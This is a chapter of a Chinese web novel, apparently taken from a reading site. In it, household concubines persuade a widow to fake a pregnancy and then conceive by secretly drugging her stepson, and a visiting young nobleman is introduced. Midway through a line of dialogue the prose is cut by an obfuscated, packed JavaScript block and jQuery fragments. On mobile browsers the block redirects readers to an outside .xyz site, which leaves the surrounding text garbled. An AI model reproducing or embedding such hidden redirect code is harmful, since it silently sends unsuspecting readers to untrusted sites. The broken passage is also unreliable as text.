13. 第 13 章

作品:《我妻难求

    “原本我和刘妈妈是打算,用银子收买大夫,让大夫跟老太爷们说夫人的确是喜脉。柳姨娘掌着中馈,这事瞒不过她去,我担心她不应,就先自作主张了。”


    云姨娘轻轻地摸着谢疏溦的脸,一副劫后余生的模样说着。


    “谁知柳姨娘知晓我和刘妈妈的计策后,有了更好的主意。她祖上不凡,有假孕之药。你服了药后,那些个大夫果真诊出你有了胎,那药可真灵,还会让夫人有害喜之症呢。”


    “那又怎么样?能瞒多久呢?装吐不要药我也可以装出来。”谢疏溦轻嗤道,“装肚子大也容易,往我腰上绑块垫子即可,可然后呢?孩子哪里来?你们何必搭上自己来救我。”


    云姨娘诧异地发现谢疏溦学会了冷笑,她眼皮跳了跳,接着以抱孩子的神情抱住了谢疏溦。


    “刘妈妈说了,这也容易。有好几个月呢,可以托人暗暗打听着,穷苦人家也是要生孩子的,但他们又养不起,给个几两就能买到一个孩子。除了我、柳姨娘、刘妈妈和你,这世上不会再有人知道这件事。”


    云姨娘的语气变得郑重,她盯着谢疏溦黑色的眼珠,“所以当着其他人的面,我们必须做戏给她们看,而且最重要的是夫人您要配合,只要挨过一阵子就好了。”


    谢疏溦抓起一缕青丝,垂眸摇头道:“我不信真能瞒过去,府里、族里人多眼杂。云儿,我们为何要如此辛苦谋划?”


    云姨娘脸色变了变,带点火气道:“情况紧急,刘妈妈要是晚了一步,说不定都见不活着的你了。我们应该不闻不问,让你去死,何必救你反而遭了你的嫌!”


    “不是,我会连累你的,到时候死的不止我一个了。混淆血脉,按族规要打三百大板。”谢疏溦双手揽住她的脖子,闭着眼睛软声道。


    “柳姨娘对自己的药十分有信心,只要大夫诊不出来,我们可以咬死不认,要是老太爷们怀疑了,那位深受族长一家信任的钱大夫,可以反过来给我们作证,族长对他向来礼遇有加,不可能和人闹翻,质疑他的医术的。”云姨娘是这么告诉谢疏溦的,也是在心底这么告诉自己的。


    谢疏溦不想连累其他人,况且云姨娘是世上她最亲近的人,她娘都不及,因为她娘一天几乎都在昏睡。


    “行不通的,我每月的月事怎么办?到时候生产了,怎么安排?”谢疏溦咬着唇,要做得天衣无缝,云姨娘她们要多担惊受怕的,还不如她现在就死了呢。


    云姨娘沉默了片刻,猛地眼神灼热地盯着谢疏溦的肚子,轻声道:“可是,夫人若是在一两个月里真的怀上一个孩子,一切不就行得通了吗?”


    谢疏溦错愕地瞪圆了眼睛,好半晌,她嗫嚅道:“你在说些什么?刘妈妈会同意?她反水了怎么办?”


    云姨娘微笑地点了点头,微微仰头道:“刘妈妈默认了,她不会揭穿我们的。她恨了这么多年,老夫人都疯了,没两年活头了,却伤不到崔氏一族一分。眼下有个好机会,能报复到崔氏一族,她从小看着长大的孩子的妻子偷种,她可以视而不见。”


    谢疏溦目瞪口呆看着云姨娘,一直身,用力将她推倒,云姨娘的脑袋磕了床柱一下。


    谢疏溦吓住了,伸手欲将云姨娘扶起来,云姨娘却是若无其事地看着她,摸了摸磕到的后脑勺,轻轻地“嘶”了一声,轻笑道:“夫人你不想这么做也晚了,事到如今,我们只能一条道走到黑,开弓就没有回头箭了。”


    谢疏溦盈着眼泪,含着哭腔道:“你们当我是什么?配种的牲口吗?”


    说完后,她就像灯上的火苗那样,微微发着颤。


    “我只知道我得让你活着。”云姨娘站起来,居高临下说道,像是在挑衅。


    “这么活着我还不如死了好。找个素不相识的野男人上床,要是一次不成还得再来。”谢疏溦一抹眼泪,愤怒道。


    云姨娘又坐了下来,掏出手帕,给谢疏溦擦眼睛,谢疏溦别扭地挣扎了两下。


    “不是陌生的野男人,说起来这事还便宜了族里的老太爷呢。是大少爷。”


    谢疏溦一听,如遭雷击,嘴唇都失了颜色。


    云姨娘假装没看到她惨白的神色,用哄人的温柔语气,继续说道,“这也是崔氏的血脉,百年之后,我们下去见老爷,老爷也不会责怪的,老爷那人心肠软。”


    谢疏溦喃喃着“天啊”这两个字。


    云姨娘握住她的双手,“就试几回,若是怀不上,时间也就对不上了,我们就从外面抱一个。夫人,将算盘打到大少爷头上,是最稳当的做法了。这孩子不是足月生产,但又和老爷长得像,谁也不会质疑不是老爷的血脉。”


    谢疏溦白润的下巴就像雨后的屋檐,挂着的水滴越来越多。


    “不,我接受不了这个,大少爷?礼法上我还是他母亲。我从心里把他当做哥哥来看,这是……是乱……老爷这才刚下葬几天呢!日后我该如何面对大少爷?”


    谢疏溦死死咬住嘴唇,不住地摇头,云姨娘险些握不住她的手。


    谢疏溦觉得难堪,觉得屈辱,跪下祠堂里被人逼着去死,她都没有过这种感受。谢疏溦闷声大哭,渐渐地从心底又涌起愤怒,她碍着谁的眼了?又不用族里接济,她可以后半辈子都不出门,仅仅是活着都不成吗?


    柳姨娘年幼时,是个缠人的娇小姐,身边总要有人陪着,连睡觉的时候都要人陪着,不然就睡不着。


    然而府里的人都晓得,柳姨娘最不喜有人在房里伺候,按规矩,在主子身边伺候着的丫鬟,夜里要起来添两次茶的。但柳姨娘房里的娟儿就不用,其他丫鬟都羡慕她能睡安稳觉。


    所以今夜睡在外间的娟儿被轻微的响动惊醒,看到提着灯笼的柳姨娘时,很惊讶。


    “姨娘你要水还是……”


    柳姨娘只说:“你继续睡吧,我出去走走。”


    府里人人都忌惮着柳姨娘,明明她出自烟花之地,不是良家女子,又是个妾,她上头还有少爷、老夫人、夫人、小姐,可柳姨娘身上时不时有种从天而降的威严,让人不敢造次。


    柳姨娘一发话,娟儿就立即躺下,拉起被子,把自己脑袋蒙进去。


    柳姨娘推开门,提着油纸灯笼走了出去,她脸上没了平时的泼辣和烟媚之气。


    柳姨娘看着青砖石板上水一样流光,忽然想起了好久没有想的过往。


    她原姓王名清芷,其父官拜礼部侍郎,其母是名医女,在她十四岁那年,父亲一朝获罪,家产抄没,女眷尽数没入教坊司。


    母亲一众妇人不堪受辱,为保名节,或咬舌或撞墙自尽,她的姐妹入了教坊司后,不是投缳自尽就是病重不起,不过月余就香消玉殒。


    到最后只剩下她一个,她认了命,只想快点红颜老去,不料在教坊司待了六年后,怀了胎,管事喂给她一碗虎狼药,就把她关起来,静待腹中的胎儿掉下来。


    她看着流了半地的血,不想死,趁着丫鬟来给她送饭时,拼死冲了出去,把前来赴友人的约的崔进明给撞了。


    接着就是崔进明知晓缘由后,动了恻隐之心,给她赎了身,将她带去了他在京中的落脚之地。


    腹中的胎儿像她一样也是个顽强,一起活了下来,送佛送到西,崔进明在京中滞留,租了一座小院,安置她,三个月后就写信回歙州,说他在京中纳了一房妾室,并且该妾已经有了两个月的身孕。


    苗姐儿是谁的孩子,她根本不在意,总归是那些客人中的一个,但她这辈子只能是崔进明之女。


    这个秘密,她也会像崔进明一样,谁也不说,带到棺材里。


    崔进明是她的再造恩人,但她如今她要做对不起他的事了,可活着的人总比死人重要,不是吗?


    如果崔进明在天有灵,知道他疼爱的人快要被逼死了,也会赞同这么做的。


    “夫人。”


    柳姨娘不知何时来了,站到了云姨娘身侧,这二人肩并肩挨着,谢疏溦从来没有觉得她们如此亲密过。


    她心里知道,云姨娘是看不惯爱大声说笑的柳姨娘的,而柳姨娘也自有傲气,既然你看不惯我,那我就不凑上去了。


    “我知道这事对夫人这样的清清白白女子来说,实在是太不堪了。但夫人现在想死也不成了,我、柳姨娘、刘妈妈已经被拖下水了,不止我们,还有苗姐儿、辉哥儿。”


    柳姨娘盯着谢疏溦的眼睛,字字千钧地说道:“夫人一死,为了不传出崔氏六房夫人死得不明不白的流言,族里必定请来仵作验尸,到时候假孕的事就瞒不住了。”


    “严刑拷问之下,族里知道我们能暗中谋划亵渎血脉之事,他们难道不会顺水推舟怀疑苗姐儿和辉哥儿的血缘吗?除掉老爷三个孩子中的两个,只剩下心性纯直的大少爷,到时候拿捏或者谋害还不是小事一桩?”


    “夫人觉得自己能一死了之,不连累任何人,那就死吧,记得在下面等三日,我、云姨娘和刘妈妈这就来。”柳姨娘面如寒冰,冷冷道。


    说毕后,就将脸侧到一边,这时云姨娘接话道:“夫人,这已经不是您一个人的事,只要您怀上了,我们不会再提起这件事,从您肚子里出来的就是老爷的孩子。几十年后,到了阴间,我去跟老爷请罪。”


    “请什么罪?”柳姨娘陡然扬起嘴角,嘲讽道:“我们几个直接下十八层地狱就是了,过油锅下火海不够?那就来世当个畜生。要说我有时候当人还不如当畜生呢。宁当豪门犬不做寒门人。”


    她们的话说得都有道理,谢疏溦吸了吸鼻子,抱着最后一丝希望,坚持道:“大少爷是个读书人,跟老爷一样有君子之风,又敬爱老爷,绝不会和我偷人的。”


    云姨娘转脸看向柳姨娘,柳姨娘忽地粲然一笑,低声道:“我们不让他知道不就行了。”


    谢疏溦额角抽搐了两下,都不知道自己在说些什么了。“这怎么行?”


    云姨娘解释道:“大少爷对家里人一向没什么防备心,到时候劳烦夫人将他喊到书房里问功课,柳姨娘自有法子将他迷倒,夫人就可以行事了,神不知鬼不觉。”


    黑影绰绰的屋子里陷入了死寂,谢疏溦像是记起了什么,先开口说道:“其实有件事我没告诉你们,老爷临死之前给了我一封和离书。”


    闻言,云姨娘和柳姨娘愣住了,柳姨娘率先回过神来,惊喜道:“夫人您怎么不早说?那和离书在哪里?明天一早就拿着去给族里的老太爷看,看看他们有什么话好说的。”


    有了这张和离书,谢疏溦就不是崔氏的人了,崔氏一族无权处置她。


    “在老爷给的那个蜜合色锦盒里。因为我不想离开府里,再也见不到你们。”谢疏溦的语气和表情皆是平平。


    她和离之后,只有一个去处了,那就是谢家,但谢家也待不了几天,他们很快就会将她嫁出去。改嫁后要生儿育女、侍奉翁姑、操持生计……从此以后都见不到云姨娘她们的面了。


    云姨娘和柳姨娘脸上的笑容顿时落了下来,柳姨娘步履沉重地去将锦盒打开。


    紧接着她粗鲁地翻找,连盒子内衬都摸了摸了,焦急道:“没有和离书呀?夫人你是不是记错地方了?”


    在云姨娘闻声疾步走过去,帮忙一起找和离书,谢疏溦的瞳孔猛地一缩,但又瞬间恢复了平静。


    两人快把锦盒都撕开了,也没看到和离书的影,她们扭头望着谢疏溦。


    谢疏溦仰起脸,面容含笑,狡黠道,“我刚才的话还没有说完呢,老爷是给


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16358695|183566||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了我和离书没错,但我看过之后,就当即烧了。”


    云姨娘脸部一阵阵抽动,不自知的倒退了两步之后,猛地冲过来,捶打着谢疏溦,哭骂道:“你把它烧了、烧了?!那不是什么和离书,是老爷留给你的免死金牌你知道吗?!”


    谢疏溦看不了云姨娘这个样子,眼睛飘向别处,声若蚊呐,“我以前不知道,太晚了。”


    柳姨娘伸手将情绪激动的云姨娘拉开,带着听天由命的果决,问道:“那夫人打算怎么办?”


    谢疏溦缓缓地向后倒去,头恰好倒在枕头上,乌亮的发沿着缎面滑下去,“按你们说的办吧。”


    柳姨娘认真地说:“那得再等几日,眼下各房都关注着我们府里呢。”


    谢疏溦侧过身去,背对着她们,轻轻地“嗯”了声。


    门轻轻地响动,说服了谢疏溦的柳姨娘走了,留下云姨娘在今夜陪着谢疏溦。


    天又飘起了朦朦的雨。


    这样的绵延阴雨天,歙州崔氏长房的府邸没有紧闭大门,反而朱红色的正门列着四名精神抖擞的奴仆,衣冠隆重的一干人等都站在台阶上,笑容满面地望着街道那头的来路。


    崔进功收回视线,朝旁边的家仆道:“三少爷怎么还没到?你前去看看。”


    家仆正要应话,街道的那头就出现两匹高大的骏马,一枣红一纯黑。


    枣红马先黑马半个头,马上的人都戴着蓑衣斗笠,没有穿轻便的油衣,可崔进功他们眼睛马上就亮起来了,没等仆人撑开油纸伞,就跑下了台阶,迎了上去。


    “可是执瑛弟弟?”崔进功仰头朝枣红色马上的年轻人亲热地问道。


    崔执瑛拉住缰绳,朗声答道:“正是小弟,你可是进功大哥?”


    那声音宛如敲金击玉。


    闻言,崔进功当即红光满面,点头道:“是,我就是你进功大哥,执瑛弟弟一路劳累,快下马进府歇歇……”


    一开春,崔执瑛就秉持着“读万卷书行万里路”的理念,乘船南下游学。


    历时三个月,游遍了京杭两岸的府县,访名师、入讲会、览胜景、察民风,即使在船上也要读书、写诗文。


    管教严厉的崔父又只让包条小船,勒令只能带一个年轻力壮的贴身随从,自小金尊玉贵的崔执瑛这几个月可谓是好好体验了一把没有奴仆环绕的生活。


    将自己当个半个小厮用的崔执瑛到了游学的最后一站,确实有了几分舟车劳顿之感。


    他一面和歙州的同宗亲戚客气着,一面快步朝大门走。


    踏上第一道石阶前,崔执瑛忽然有所感,抬眼望了望淡青色的天空,这四周的宅院。


    几个瞬息后,他的一双瑞凤眼微微眯起,盯着不远处一座小院门口悬挂着的白色纸钱,随口问道:“进功大哥,族里最近办了丧事吗?谁家的?我这个小辈要不要去拜访一下?”


    崔安承看着乐不可支的崔进功他们,心中觉得好笑,他们觉得少爷好说话,是温润有礼之人,那就想错了。


    他十岁进府,就跟在少爷身边了,少爷的性子他还不知道吗?对亲近的人,那叫一个嚣张矜贵,越是外人,就越是以礼相待。


    崔执瑛在歙州只停留七日,就要返京,崔进功还觉得不够时间和这位远房族弟打交道呢,怎么会让不相干的人来占去崔执瑛的时间。


    不怪乎一向不把歙州官宦子弟放在眼里的崔进功对远道而来,都没有见面的崔执瑛这么热络。


    崔执瑛的父亲官至从一品的户部尚书,生母是出自宁王府,又深受临过朝称过制刘太后喜爱的平阳郡主。


    世袭罔替的现任郑国公是他的亲大伯,而他的亲二伯在福建当着从二品的布政使。


    满门煊赫,世代簪缨,这样的门第即便在京中也是数一数二的。


    本朝立国之前,战乱连年,山东崔氏,分为了两支,一支南下寻温柔乡避祸,一支北上寻明主效忠。


    同族兄弟自此命运就各不同了,歙州崔氏这一支,虽然百年望族的名头叫得响,但官职最高不过四品知府,跟开国功臣的京中崔氏不能比。


    到了这一代,歙州崔氏更是落寞了,一众子弟在读书仕途上鲜有进益,沉溺于享乐敛财。


    当年崔氏两兄弟分家应该分得很不愉快,这么些年,郑国公府一直对歙州族人冷冷淡淡的,歙州的人想贴也贴不上去。


    谁知时来运转,户部尚书府的三少爷要南下游历,而崔进功抓着了这个机会,一连给京中去了好几封信,言辞恳切,一定要招待崔执瑛这个族弟。


    崔执瑛第一次出这么远的门,他又才方年十七岁,还未及冠,身边只跟了个大三岁的随从。


    崔父口上严厉,心底却着实有些不放心,恰好崔进功来了信,崔父就拜托他照顾崔执瑛几日。


    崔进功摆手说道:“执瑛弟弟,办丧事的是我们这一支的六房,跟侄儿你这一脉已经出了五服了。去世又是当家人,你的远房堂哥,留下孤儿寡母,你去了徒惹非议,没必要。侄儿还是快点跟我进府吧,看这雨下得。”


    崔执瑛的眼睛一闪,笑了笑没说话,从容地迈上台阶。


    一到阶上,崔安承就替他脱下蓑衣斗笠。众人这才看到崔执瑛的全部样貌。


    他身着玄色箭袖交领右衽长袍,在光线下可见暗金色的回纹,绛红色的中衣微微露出领口,腰间系着深蓝刺绣宽边锦带,佩羊脂白玉,头戴青玉冠。


    冷峻深沉完全不像清贵文人家庭、百年诗书之族出来的子弟。


    而他的长相,面若傅粉,唇若施脂,两道剑眉斜飞入鬓,加上一双霸道藏锋的眼睛,恰是金玉其外、锦绣其中的好皮囊。


    丫鬟婆子微微一瞥,脸都红了。